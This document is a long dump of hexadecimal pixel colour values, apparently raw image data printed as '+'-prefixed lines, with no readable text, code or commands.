+0D11170000000000000B0F13729FCF729FCF05070A0000000000000000000000000000000B0F13 +729FCF729FCF05070A00000000000000000001020255769A729FCF729FCF729FCF729FCF729FCF +729FCF0D111700000056789C729FCF32465B000000000000000000000000000000000000527395 +729FCF729FCF6F9BC9719DCD141C25000000000000000000080C0F517194729ECE729FCF729FCF +658CB7121920000000000000000000B4B4B4787878000000BCBCBC6F6F6F000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000CFCFCF949494000000000000000000000000 +343434FFFFFF040404101010FFFFFF282828000000ECECEC505050000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000D22424EF2929430C0C0000000000000000000000002F0808EF2929 +E72828050101000000030000E22727EF29293509092F0808EF2929E72828050101000000030000 +E22727EF2929350909000000000000160404EF2929EF29290B0202000000000000000000CF2424 +901919020000D52424BA20201F0505601010EF2929741414000000AC1E1EEF2929891717701313 +EF2929B21F1F0000000000002E0808EF2929EF29295C10100B02020D0202EF2929EF29291A0505 +000000000000270707EF2929EE2929010000000000000000000000000000000000000000430C0C +EF2929CE2323000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000151D26 +729FCF33465C000000000000000000000000000000729FCF729FCF141B2400000019242E729FCF +729FCF0B10141C2733729FCF6A94C1000000000000000000000000000000000000000000000000 +0000000D11172C3D505D81A8729FCF4B6988000000000000527395729FCF415B77364B61729FCF +55769A0000000000000000000000000B0F13729FCF729FCF05070A000000000000000000161F29 +729FCF6E99C80203040000000102026C96C4729FCF19242E0000006891BC729FCF2A3B4C000000 +0000006891BC729FCF1F2B38000000000000151D26729FCF33465C000000000000000000000000 +161F28729FCF729FCF2C3D5005070A06090B729FCF729FCF0D11170000000000000B0F13729FCF +729FCF05070A0000000000000000000000000000000B0F13729FCF729FCF05070A000000000000 +000000161F28729FCF729FCF2C3D5005070A06090B729FCF729FCF0D11170000004E6C8D729FCF +405974000000000000000000000000000000000000527395729FCF415B77364B61729FCF55769A +0000000000000000000000000000000D11172C3D505D81A8729FCF4B6988000000FCFCFCFFFFFF +FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF282828000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000414141FDFDFD242424000000000000000000000000343434FFFFFF040404101010FFFFFF +282828000000ECECEC505050000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000D22424 +EF2929430C0C000000000000000000000000050101DE2626EF2929651111000000611111EF2929 +E22727080101050101DE2626EF2929651111000000611111EF2929E22727080101000000000000 +0F0303EF2929EF29291F0505000000000000000000A41C1CC82222000000440C0CE32727EF2929 +DB2626EB2828741414000000AC1E1EEF2929651111080101D72525EF29294E0D0D0000003D0A0A +EF2929EE2929040101000000420B0BEF2929EF29291A0505000000000000160404EF2929EF2929 +2B0707000000000000000000000000000000000000430C0CEF2929CE2323000000000000000000 +0000000000000000002A2A2A6464642A2A2A000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000004864826C96C406090B000000000000000000 +000000000000729FCF729FCF1C27321B26325F85AD729FCF597DA200000006080B6E99C7729FCF +2E4154000000000000090C10384F66070A0D0000001B2632080C0F0000000000001F2C39729FCF +587A9F000000000000527395729FCF304358040607668FBA729FCF253443000000000000000000 +070A0D729FCF729FCF0F151B0000000000000000000203046A94C0729FCF3043580000002E4054 +729FCF6C96C40406070000006891BC729FCF597BA1040607273647729FCF729ECE0D1318000000 +0000004864826C96C406090B0000000000000000000000001D2935729FCF729ECE020203000000 +1F2C39729FCF729FCF0D1117000000000000070A0D729FCF729FCF0F151B000000000000000000 +000000000000070A0D729FCF729FCF0F151B0000000000000000001D2935729FCF729ECE020203 +0000001F2C39729FCF729FCF0D111700000032455A729FCF6B95C217202A000000080B0F2C3E50 +000000000000527395729FCF304358040607668FBA729FCF2534430000000000001B2632080C0F +0000000000001F2C39729FCF587A9F0000002F2F2F5A5A5AF6F6F6323232616161F1F1F1313131 +303030070707000000000000000000000000000000000000000000000000000000000000000000 +0000002A2A2A6464642A2A2A000000000000000000000000000000B3B3B3B1B1B1000000000000 +000000000000000000343434FFFFFF040404101010FFFFFF282828000000ECECEC505050000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000D22424EF2929430C0C000000000000000000 +000000000000671212EF2929EF2929E02626EF2929EF29296F1313000000000000671212EF2929 +EF2929E02626EF2929EF29296F1313000000000000000000000000D32424EF2929DA2525B82020 +9D1B1B000000590F0FEF29293E0B0B0000000D02023108080F0303390A0A1D0505000000AC1E1E +EF2929651111000000601010EF2929D124240701010F0303DE2626EF2929941919671212D62525 +EF2929EF29291A0505000000000000000000CA2323EF2929E12727B92020B82020030000000000 +AE1E1EB82020C72222EF2929E82828B82020B820206111110000000000000000006C6C6CFFFFFF +6C6C6C000000000000000000000000000000000000000000000000000000000000000000000000 +0000000A0E136F9BCA3F5973000000000000000000000000000000000000729FCF729FCF729FCF +729FCF729FCF6E9AC91A242F000000000000384F66729FCF729FCF6891BD668EB9729FCF729FCF +090C1000000046617F6E9AC95A7DA35070916993BF729FCF3E5670000000000000527395729FCF +3043580000002E4053729FCF648BB5040506000000000000000000658CB7729FCF6891BD587A9F +4B6988000000000000314559729FCF729FCF6B95C2729FCF729FCF354A600000000000006891BC +729FCF6A94C0709CCB729FCF729FCF5272950000000000000A0E136F9BCA3F5973000000000000 +000000000000000000070A0D6A94C0729FCF476380314559668EB9729FCF729FCF0D1117000000 +000000000000658CB7729FCF6891BD587A9F4B6988000000000000000000000000658CB7729FCF +6891BD587A9F4B6988000000070A0D6A94C0729FCF476380314559668EB9729FCF729FCF0D1117 +00000006080B6289B3729FCF729FCF6B95C2729FCF587A9F000000000000527395729FCF304358 +0000002E4053729FCF648BB504050600000046617F6E9AC95A7DA35070916993BF729FCF3E5670 +000000000000747474B8B8B80000007C7C7CB0B0B0000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000006C6C6CFFFFFF6C6C6C000000 +000000000000000000252525FEFEFE3F3F3F000000000000000000000000000000343434FFFFFF +040404101010FFFFFF282828000000ECECEC505050000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +000000000000D22424EF2929430C0C000000000000000000000000000000000000621111CD2323 +EA2828CE2323671212000000000000000000000000621111CD2323EA2828CE2323671212000000 +0000000000000000000000003F0B0BC22121E82828EF2929CE2323000000070101CB2323D52424 +250606000000000000000000190404000000000000AC1E1EEF2929651111000000040101CA2323 +EF2929751414000000390A0ABD2020E72828D324245D1010EF2929EF29291A0505000000000000 +0000002B0707B92020E72828EF2929EF2929040101000000E52727EF2929EF2929EF2929EF2929 +EF2929EF29297F16160000000000000000006C6C6CFFFFFF6C6C6C000000000000000000000000 +0000000000000000000000000000000000000000000000000000003A516A719DCD0E141A000000 +000000000000000000000000000000729FCF729FCF709DCC678FBB4C6989151E27000000000000 +0000000000002E40535D82AA6F9BC96C97C45E84AB3D556F0304060000002534435476996891BD +6F9BCA658EB8425C77040608000000000000527395729FCF3043580000000202036187AF729FCF +384E650000000000000000001E2A365D81A86F9BC9729FCF6289B30000000000000000002F4155 +6289B2709CCB6289B33145590000000000000000006891BC729FCF29394A5A7DA36F9BC9547599 +0D11170000000000003A516A719DCD0E141A0000000000000000000000000000000000001B2632 +5A7EA46E99C8658CB72C3E50729FCF729FCF0D11170000000000000000001E2A365D81A86F9BC9 +729FCF6289B30000000000000000000000001E2A365D81A86F9BC9729FCF6289B3000000000000 +1B26325A7EA46E99C8658CB72C3E50729FCF729FCF0D11170000000000000C10154966846A93C0 +6E99C85D82AA2B3C4E000000000000527395729FCF3043580000000202036187AF729FCF384E65 +0000002534435476996891BD6F9BCA658EB8425C77040608000000000000B9B9B9727272000000 +C1C1C16A6A6A000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000006C6C6CFFFFFF6C6C6C000000000000000000000000969696CDCDCD +000000000000000000000000000000000000343434FFFFFF040404101010FFFFFF282828000000 +ECECEC505050000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000002A0707DB2626E828289F1B1B7F1616A21C1CE92828 +240606000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000405066992BE4D6B8C000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000006891BC729FCF1B25310000000000000000000000000000000405066992BE4D6B8C +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000121212F5F5F55C5C5C000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000160404891717D12424E92828D32424911919190404000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000006891BC729FCF1B2531 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000006891BC729FCF1B2531000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 